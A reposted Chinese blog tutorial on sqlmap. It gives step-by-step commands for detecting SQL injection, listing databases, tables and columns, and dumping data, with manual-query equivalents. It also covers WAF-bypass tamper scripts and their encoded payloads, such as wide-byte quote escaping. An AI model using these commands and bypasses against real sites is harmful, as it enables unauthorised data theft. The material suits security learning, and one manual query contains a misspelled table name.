sqlmap的食用方法

sqlmap的食用方法

sqlmap常规步骤

1、检测注入点

sqlmap -u 'URL/?id=1'

2、查看所有数据库

sqlmap -u 'URL/?id=1' --dbs

3、查看当前数据库

sqlmap -u 'URL/?id=1' --current-db

手注:select database()

4、查看数据表

sqlmap -u 'URL/?id=1' -D '数据库名' --tables

手注:select table_name from information_schema.tables where table_schema='数据库名'

5、查看数据表中列名

sqlmap -u 'URL/?id=1' -D '数据库名' -T '数据表名' --columns

手注:select column_name from information_shema.columns where table_schema='数据库名'

6、查看数据

sqlmap -u 'URL/?id=1' -D '数据库名' -T '数据表名' --dump	//直接输出表中所有内容
sqlmap -u 'URL/?id=1' -D '数据库名' -T '数据表名' -C '列名' --dump	//输出数据表中指定列的内容

-D:指定目标数据库

-T:指定目标数据表

-C:指定目标

7、其他

-u						//指定URL
-r						//指定文本
--batch					//指定默认,不用自己输入Y
--dbs					//数据库
--tables/-T				//数据表
--columns/-C			//字段(列)
--dump					//输出数据值
--cookie 'cookie'		//cookie注入
--level=3				//注入等级
--prefix=''				//指定闭合头
--suffix=''				//指定闭合尾
--technique=			//指定注入方法,B=布尔盲注 E=报错注入 U=联合查询 T=时间盲注 S=堆叠注入

WAF绕过

--tamper 指定绕过脚本,绕过WAF或ids等

sqlmap -u 'URL/?id=1' --tamper=XXX.py

sqlmap内置了很多绕过脚本,路径:/usr/share/sqlmap/tamper/

脚本

andor.py(and和or)

作用:
将 SQL 语句中的逻辑运算符 AND 和 OR 替换为等价但不易被识别的形式(如 && 和 ||),用于绕过关键字过滤。

示例:

输入:1 AND 1=1

输出:1 %26%26 1=1
(%26 是 & 的 URL 编码)

适用数据库: 所有主流数据库(MySQL、MSSQL、Oracle 等)

space2mssqlhash.py(空格)

作用:
将 SQL 语句中的空格替换为 # 号(MSSQL 风格的注释),并加上换行符 %0A,用于绕过空格过滤。

示例:

输入:1 AND 9227=9227

输出:1%23%0AAND%23%0A9227=9227

适用数据库:

  • MSSQL(Microsoft SQL Server)

  • 部分 MySQL 版本也可兼容

unmagicquotes.py(引号)

作用:
利用 宽字节注入 技术,绕过 PHP 的 addslashes() 或 GPC 魔术引号对单引号的转义。
通过 %bf%27 的组合,使得 ' 被数据库解析为合法的单引号,从而闭合语句。

示例:

输入:1' AND 1=1

输出:1%bf%27 AND 1=1--

适用数据库: 所有主流数据库,尤其适用于 MySQL + PHP 环境

lianheyinshen.py(union)

有些 WAF(Web 应用防火墙)会拦截 UNION SELECT,但对 UNION ALL SELECT 不做过滤。

在 SQL 中,UNION ALL 和 UNION 的区别是:

UNION 会去重(默认行为)

UNION ALL 不去重,但功能等价,都能用于联合注入。

————————————————
版权声明:本段为CSDN博主「火白学安全」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/mc11451419198/article/details/149806436

posted @ 2025-12-28 23:16  aax小能  阅读(3)  评论(0)    收藏  举报